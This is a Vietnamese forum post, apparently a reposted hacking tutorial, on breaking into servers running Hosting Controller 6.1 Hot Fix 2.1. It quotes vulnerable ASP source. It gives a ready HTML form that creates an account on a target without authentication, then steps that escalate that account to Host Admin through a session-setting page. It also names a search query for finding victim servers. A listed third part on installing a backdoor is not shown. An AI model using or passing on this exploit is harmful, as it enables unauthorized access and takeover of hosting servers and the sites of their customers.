AdminTalk - Talk to Learn

Navigation
Go Back   AdminTalk - Talk to Learn > Premium Server, Hosting Support > Security
Security Nơi giao lưu, hỏi đáp, thảo luận, chia sẻ kiến thức, kinh nghiệm hay về bảo mật, phần mềm quản lý máy chủ (hosting) (CPanel, Plesk, ...), VPS, ...

Đề mục chính

Cấu trúc diễn đàn
Thông tin tổng hợp
Thông báo và quy định chung
Đóng góp ý kiến
Những bài viết có giá trị
Tin tức công nghệ
•• Tin tức công nghệ thông tin
•• Doanh Nghiệp & Người Tiêu Dùng
Premium Server, Hosting Support
Web Hosting / Domain
•• Kiến thức cơ bản về Web Hosting/Domain
•• Plesk - CPanel
Server / VPS
•• Kiến thức cơ bản Server - VPS
•• Server Review/ Hardware
•• Mail Server - AntiSPAM
Virtuozzo - VMWare - HyperV
•• For Windows
•• For Linux
Security
•• Mạng Wan - Lan
•• Internet - Virus - Hacker
VoIP
•• Kiến Thức Cơ Bản VoIP
•• Phần Cứng VoIP
•• Phần Mềm VoIP
•• Nhà cung cấp VoIP
Server Operating System
Linux Server
Windows Server 200x
Computer Supports and Discussion
Operating System
•• Hệ điều hành Linux
•• Hệ điều hành Windows
•• Hệ điều hành Mac
•• Hệ điều hành Chrome
Laptop, Netbook
Hardware
•• Cpu Intel
•• Cpu AMD
•• PSU, Overclocking & Cooling
•• Mainboard & Memory
•• Đồ họa máy tính
•• Kinh nghiệm
Software
•• Linux Apps
•• Windows Apps
Webmaster Area
Webmaster talk
Programming Language
•• HTML & CSS
•• PHP
•• C++ / C#
•• .NET
•• Java
•• Other
Graphic & Mutimedia
SEO (Search Engine Optimization)
Browsers
•• Mozilla Firefox
•• Chrome
•• Internet Explorer
Thủ Thuật Internet
Thương mại điện tử
•• Hình thức thanh toán
•• Giải pháp
HiTech, Mobile, Movies, Music, eBooks, Relax
Tablet PC
•• iPad
Mobile
•• iPhone
•• BlackBerry
•• Others
Movies
•• Download phim HD
•• Download phim DVD
Music
•• Download nhạc Lossless Album
•• Download nhạc Lossless tuyển chọn
eBooks - Tài liệu
•• Tin học - Lập trình
•• Khoa học - Kỹ thuật
•• Ngoại Ngữ
•• Tutorials - Training
•• Kinh tế
•• Thể Loại Khác
Bài học trong cuộc sống
AdminTalk – Talk to You
Introduce Youself
Off topic/ Chatting
Mua bán - Rao vặt - Tuyển dụng
Quảng cáo
Tuyển dụng

Bầu chọn mới nhất
Bạn nghĩ sao về công nghệ USB 3.0 ?

Rất tuyệt! Sẽ sử dụng ngay nếu được bán trên thị trường: 47.37%

Tốt hơn USB 2.0 , nhưng giá có thể mắc hơn nhiều: 42.11%

Bình thường thôi, công nghệ luôn thay đổi mà: 10.53%

Không quan tâm lắm: 0%
Voters: 38. You may not vote on this poll

Thống kê
Đề tài: 10610
Bài gửi: 12174
Thành viên: 20,205
Thành viên tích cực: 82
Xin cùng nhau chào đón thành viên mới nhất: ddvtien
Kỷ lục: 624 người đã ghé thăm 17/11/2010 lúc 06:16 AM.
Thành viên mới:
Hôm qua
- ddvtien
Hôm qua
- thanhtam1028
Hôm qua
- goodhealthvn1
Hôm qua
- honghobao286
07/02/2012
- condau
07/02/2012
- timlaibautroi7408
07/02/2012
- NguyenLien
07/02/2012
- quydona
06/02/2012
- hhhh11
06/02/2012
- danit

Số người đang xem
View Who's Online Thành viên: 1
Khách: 65
Tổng: 66
Nhóm: 0
Nhóm:  
Thành viên:  aviomobile
Mở Sổ Bạn Bè

Trả lời
 
LinkBack Ðiều Chỉnh Kiếm Trong Bài Cho Ðiểm Xếp Bài

  #1 (permalink)
Old 18/02/2009, 10:05 AM
Thumbs down Hosting Controler hacking !

crackervn
A newbie Admin
wanna talk more
 
crackervn's Avatar
 
Tham gia ngày: Jul 2008
Bài gởi: 78
My Mood:
Thanks: 2
Thanked 6 Times in 5 Posts
VP: 0.00
Donate
Mức Độ : Cực kì nguy hiểm

Default Hosting Controler hacking !
Hosting Controler hacking !

Chào các bạn !

Hôm nay chúng ta sẽ cùng nghiên cứu cách xâm nhập vào một Server sử dụng Hosting Controller phiên bản 6.1 - Hot Fix 2.1

Trước khi đi vào vấng đề tôi có một vài lời muốn nói với các bạn :

"Tài liệu này tôi viết nhằm mục đích nghiên cứu và học hỏi vì vậy tôi không chịu bất cứ trách nhiệm nào về việc làm của bạn khi áp dụng những gì tôi viết dưới đây"

Mục lục : bài viết này gồm 3 phần :

- Phần I : " Tấn công từ bên ngoài - Tạo Account trên HC
- Phần II : " Login với quyền Host Admin "
- Phần III : " Đột nhập vào Server - Cài Backdoor


-------------------- Phần I : " Tấn công từ bên ngoài - Tạo Account trên HC " --------------------

I) Sơ lượt về HC

- Như các bạn đã biết Hosting Controller (HC) là sản phẩm nổi tiếng của HostingController.com được sử dụng rộng rãi trên thế giới . Nó giúp cho ta thuận lợi và dễ dàng quản lý Host ...

II) Tìm Bug và phân tích Bug

1) Cách tìm bug :

- Vì Hosting Controller cho phép chúng download về dùng thử vì vậy rất thuận lợi cho tôi trong quá trình tìm bug -> tôi đã download về sau đó cài đặt trên local và xem source của nó !

- Nhưng source của nó thì nhiều quá -> khó mà xem hết ! -> vì vậy tôi chỉ xem những file nào mà không có kiễm tra người dùng khi truy xuất tới nó

Ví dụ: if session("login") <> "true" then response.Redirect("login.asp")

-> ở HC tôi sẽ tìm những file nào không có đoạn như dzầy : "<!--#include FILE="../common/inc_sessioncheck.asp"-->"

- Tìm xong tôi liệt kê danh sách các file đó và bắt đầu đọc source của từng file để tìm bug

- Trong lúc đang đọc source nhớ lại cách đây vài tháng HC có một bug cho phép chúng ta tao Account có quyền user , hình như bug ở file này thì phải : " addsubsite.asp " -> ở Hot Fix 2.1 thì HC đã được fix rùi -> nhưng chưa chắc gì thằng này đã fix triệt để ! -> tấn công vào nó thử coi !

--> tôi liền lục lại danh sách những file mình đã liêt kê lúc nãy . Nhưng lần này tôi lại lọc chọn ra một lần nữa -> chỉ xem những file có liên quan đến chức năng tạo Account cho HC !

- Lọc chọn xong tôi lên lại danh sách -> lần này số lượng không nhiều nữa -> nên tôi rất dễ đọc source !

- Nhìn vào những cái file mình chuẩn bị đọc , tôi chợt thấy cái file này " addsubsite_online.asp " và chú ý đến nó -> nhưng chắc có lẽ bạn sẽ thắc mắc tại sao lại chú ý đến nó ! -> đơn giản vì nó có cái tên liên quan đến file "addsubsite.asp" (Hi hi , tính tò mò ) -> vì vậy tôi liền mở nó ra xem !

- Sau một vài phút xem source , kết quả đã không làm tôi thất vọng !

2) Phân tích bug :
- Chúng ta hãy cùng xem source của file : "addsubsite_online.asp"
QUOTE
<%@ Language=VBScript %>
<%
set AdminObj = server.CreateObject("AdvAdmin.AccountAdmin")
Response.Expires = -1
Response.Buffer= true

'htype is the hosting package type chosen by the customer

htype = T(Request.Form("htype"))
choice = Request.QueryString("choice")
'obtain the database handle
Dim Obj
Session("domainDSN") = Request("domainDSN")
RegConnString = AdminObj.GetStrAdvReg("General","ConnString")
Application("Connection1_ConnectionString") = RegConnString

Set Obj = Server.CreateObject("ADODB.Connection")
Obj.open RegConnString


if htype = 1 then
Session("AdminName") = "BASIC_RESELLER"
else
Session("AdminName") = "ADVANCED_RESELLER"
end if
AdminName = Session("AdminName")
AdminLevel = "reseller"
Session("AdminLevel") = "reseller"
NAdminLevel = "webadmin"

%>
<!--#include FILE="../common/inc_newuser.asp"-->
<!--#include FILE="../common/inc_mailmax.asp" -->
<!--#include FILE="../common/inc_siteadd.asp" -->
<!--#include FILE="../common/inc_Quota.asp" -->
<!--#include FILE="../common/inc_addsitemail.asp"-->
<!--#include FILE="../common/inc_dns.asp" -->
<!--#include FILE="../common/inc_binddns.asp" -->
<!--#include FILE="../common/inc_diskquota.asp"-->
<!--#include FILE="../common/ipchoice.asp"-->
<%
& #39;============================================== ==============================
======
'Global Variables


---> các bạn thấy đó chẳng có gì cản trở ta khi người dùng truy xuất tới nó

QUOTE
On error resume next
Dim Domain
Dim AdminObj
Dim Result
Dim UserName
Dim Password
Dim NewDomain
Dim Email
Dim PrmDomain,SecDomain
Dim BaseStr
Dim ThirdLevelDomain,ThirdLevel
Dim NewIPAddress
Dim RetPath
dim EmailAccess
Dim EmailServer
Dim QuotaLimit
Dim AdminName,dwResult
Dim IPLessCheckBox
IPLessCheckBox = "YES"


Domain = AdminObj.GetMachineName
'it is a second level domain
if Request.QueryString("choice") = 1 then
NewDomain = T(Request.Form("DomainName"))
PrmDomain = NewDomain
SecDomain = "NULL"
ThirdLevelDomain = 0
ThirdLevel = "FALSE"
end if

'collect all form variables
UserName = T(Request.Form("loginname"))
Password = T(Request.Form("password"))
first_name = T(Request.Form("first_name"))
last_name = T(Request.Form("last_name"))
EmailAccess = T(Request.Form("mailaccess"))
EmailServer = T(Request.Form("MailServerType"))
QuotaLimit = T(Request.Form("Quota"))
birthmonth = T(Request.Form("month"))
birthyear = T(Request.Form("year"))
birthday = T(Request.Form("day"))
existingemail = T(Request.Form("email"))
gender = T(Request.Form("gender"))
country = T(Request.Form("country"))
state = T(Request.Form("state"))
city = T(Request.Form("city"))
address = T(Request.Form("address"))
phone = T(Request.Form("phone"))
zip = T(Request.Form("zip"))


---> Khai báo các biến và gán cho nó các giá trị quan trọng được người dùng gởi tới từ client -> như "loginname" và "password" ....v..v

QUOTE
'sub function to create the new User Account
Result = InternalAddUser(UserName,Domain,Password,UserName, UserName,"FALSE","FALSE",NAdminLevel,existingemail )

if (Result >= 1 and Result < 9) then
session.Abandon()
end if

Response.Write "Result of user creation is : " & Result & "<br>"
'Response.End

-------------------------------------------------

& #39;============================================== ==============================
======
'Create User function
public function addUser(UserName,Password,QuotaLimit)
on error resume next

'-------------------------
'initallization
newadminlevel = "webadmin"
Description = "Web admin"
set rs = Server.CreateObject("ADODB.RecordSet")
set adm = Server.CreateObject("AdvAdmin.AccountAdmin")
autosetupreseller = adm.GetStrAdvReg("General","autosetupreseller")
set adm = nothing
AdminName = autosetupreseller
m_UserName = UserName
m_Password = Password
'check the existance of the reseller account
'Result = CheckReseller()
WebQuota = 0
MailQuota = 0
FtpQuota = QuotaLimit
ODBCQuota = QuotaLimit
VDirQuota = QuotaLimit
ServuQuota = 0
StatsQuota = 0
Session("AdminName") = autosetupreseller
Result = InternalAddUser(m_UserName,Domain,m_Password,m_Use rName,m_UserName,"FALSE","TRUE",newadminlevel)
addUser = Result
end function


---> Tạo user với các giá trị biến ! (source của file này còn nhiều , nhưng chúng ta chỉ cần xem tới đây là đủ ! hi hi)

-> heee -> tới đây chắc các bạn cũng đã hiểu file này có khả năng làm được gì rùi chứ ! -> Ta có thể tạo được một User mới nhờ file này !

3) Tấn công :

- Bây giờ làm cách nào để ta tạo ra môt Account trên HC đây ! -> rất đơn giản ! -> chúng ta chỉ cần tạo một file "AddUser.html" có nội dung như sau :

CODE
<FORM action="http://[target]/admin/hosting/addsubsite_online.asp" method="post">
<INPUT type="hidden" name="domaintypecheck" value="SECOND" id="Hidden1">
Domain: <INPUT name="DomainName" value="hcegroup.net" id="Hidden2"><BR>
Username: <INPUT name="loginname" value="kehieuhoc" id="Hidden3"><BR>
<INPUT type="hidden" name="Quota" value="-1" id="Hidden4">
<INPUT type="hidden" name="htype" value="27" id="htype5" >
<INPUT type="hidden" name="choice" value="1" id="Hidden6" >
Password: <INPUT name="password" value="kehieuhoc" id="Hidden7"><BR><BR>
<input type="submit" value="Make">
</FORM>


Lưu file này lại trên PC của ta và run nó ! -> nhập các thông tin username , password ... -> make -> chuyện gì đã xãy ra ! -> Một Account mới đã được tạo trên HC theo ý muốn của mình !

(Search trên Google.com với từ khóa chẳng hạn như: "powered by Hosting Controller" để tìm các Server sử dụng HC)

-------------- Hết phần I --------------

----------------- // KeHieuHoc - HCE Group \\ ---------------

Chào các bạn !

Hosting Controller thật là tiện dụng nhưng cũng thật là nguy hiễm với những lỗi bảo mật của nó phải không các bạn ! Và hôm nay chúng ta sẽ tiếp tục tìm hiểu về những lổ hỏng bảo mật này !

Như các bạn đã biết , ở phần I chúng ta đã nghiên cứu và tìm ra được cách tạo một Account trên HC với quyền "Web Admin" từ bên ngoài . Nhưng với Account này chúng ta bị giới hạn quyền rất nhiều trên HC . Vì vậy bây giờ chúng ta hãy tìm cách có được quyền hạn cao nhất trên HC , nhưng Account nào có được quyền hạn đó và làm cách nào để có được nó ?

----------------- Phần II : " Login với quyền Host Admin " --------------------------

I) Suy luận :

- Sau khi có được Account -> chúng ta login vào HC ,lúc này để hệ thống chấp nhận Account được phép sử dụng tài nguyên trên HC thì HC phải cấp cho ta một số "session" -> đây là những "session" cơ bản mà bất cứ Account nào cũng cần phải có nó để hoat động trên HC ! -> Những "Session" này sẽ được tạo ra trong quá trình Login !

- Những session này đã giúp cho chúng ta được phép sử dụng được một số chức năng cơ bản !

- Account trên HC có một vài phân cấp khác nhau như : "webadmin" , "reseller" , "host" ...

-> trong đó ta đặt biệt chú về Account có quyền "host" -> bởi vì nó có quyền cao nhất HC

- Nhưng để hệ thống HC phân biệt Account này với Account có quyền "webadmin" thì nó phải cấp thêm một vài Session đặt biệt nữa cho Accout này !

-> Ở phần trước chúng ta đã có Account với quyền "webadmin" -> tức chúng ta có thể tạo ra những session cơ bản .Nếu có thêm những session đặt biệt -> chúng ta có quyền "Host Admin" !

-> Mục tiêu của chúng ta bây giờ là tìm cách tạo ra những session đăt biệt này! -> hic.. , nhưng bằng nào đây ! -> rất may cho ta , trên HC xuất hiện thêm một bug giúp chúng ta làm được việc này !

II) Phân tích bug :

- Bug này nằm ở file: "dsp_newreseller.asp" , chúng ta cùng xem source của nó !

CODE
<%
dim rs
dim autosignup
set conn = Server.CreateObject("ADODB.Connection")
set rs = Server.CreateObject("ADODB.RecordSet")
set adm = Server.CreateObject("AdvAdmin.AccountAdmin")
ConnString = adm.GetStrAdvReg("General","ConnString")
conn.Open ConnString
strQuery = "select * from Admin_List where AdminLevel='host'"
rs.Open strQuery,conn,1,3
AdminName = rs.Fields("Name")
rs.Close
AdminLevel = "host"
Session("AdminName") = AdminName
Session("AdminLevel") = AdminLevel
set AdminObj = server.createobject("AdvAdmin.AccountAdmin")
DomainName = Trim(AdminObj.GetMachineName)
set AdminObj = nothing
Session("ValidReq") = true
Session("Domain") = DomainName
Application("Connection1_connectionString") = ConnString
& #39;********************************************** ******************************
********
'*** get the properties of the host and if he is found in the cyber cash table show it
'*** it the reseller CC form other wise do not
strQuery = "select propname from cybercash where adminname='"& AdminName &"'"
rs.Open strQuery,conn,1,3
if rs.EOF then
autosignup = 0
else
autosignup = 1
end if
rs.Close
%>


- Session("ValidReq") = true

- " strQuery = "select * from Admin_List where AdminLevel='host'" " -> lấy tất cả data từ cái table " Admin_List " ở AdminLevel='host'"

- " AdminName = rs.Fields("Name") "

-> Vì cái Account tên "Hcadmin" có quyền "host" thường là giá trị đầu tiên của coloum "name" nên biến AdminName = "hcadmin"

Và " Session("AdminName") = AdminName " -> Session("AdminName") = "hcadmin"

QUOTE
AdminLevel = "host"
Session("AdminLevel") = AdminLevel


-> Session("AdminLevel") = "host" -> session đặt biệt !

III) Tấn công :

-Làm cách nào để login với quyền "Host admin" đây ! -> rất đơn giản !

-> Sau khi ta đã login với Account bình thường -> run file "dsp_newreseller.asp" ngay trên trình duyệt mới vừa login với link [Chỉ có thành viên mới thấy links này. ] "!

-> sau đó run trở lại với link " [Chỉ có thành viên mới thấy links này. ] " ngay trên trình duyệt này luôn !

-> hic .. ! nó bắt ta login lại ! -> làm sao đây -> hãy bình tĩnh , đây chính là chổ che mờ mắt ta đây ! -> hay gõ lai link như sau : "http://[target]/admin/main.asp"

-> điều thú vị đã xãy ra -> " Host Admin : Hcadmin "


(Sưu tầm)


Bài viết cùng chủ đề:
crackervn vẫn chưa có mặt trong diễn đàn  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Trả Lời Với Trích Dẫn
Trả lời

Bookmarks

Tags
control panel, hacking


Ðang đọc: 1 (0 thành viên và 1 khách)
 
Ðiều Chỉnh Kiếm Trong Bài
Kiếm Trong Bài:

Kiếm Chi Tiết
Xếp Bài Cho Ðiểm Chủ Ðề Này
Cho Ðiểm Chủ Ðề Này:

Quyền Sử Dụng Ở Diễn Ðàn
You may not post new threads
You may post replies
You may post attachments
You may edit your posts

BB code is Mở
Smilies đang Mở
[IMG] đang Mở
HTML đang Tắt
Trackbacks are Mở
Pingbacks are Mở
Refbacks are Mở

Chuyển đến



Múi giờ GMT. Hiện tại là 12:01 AM.
Powered by: vBulletin - Copyright © 2000 - 2012, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.2.0
www.AdminTalk.vn
Powered by vBCMS® 1.2.5 ©2002 - 2012 VinaCIS® Corporation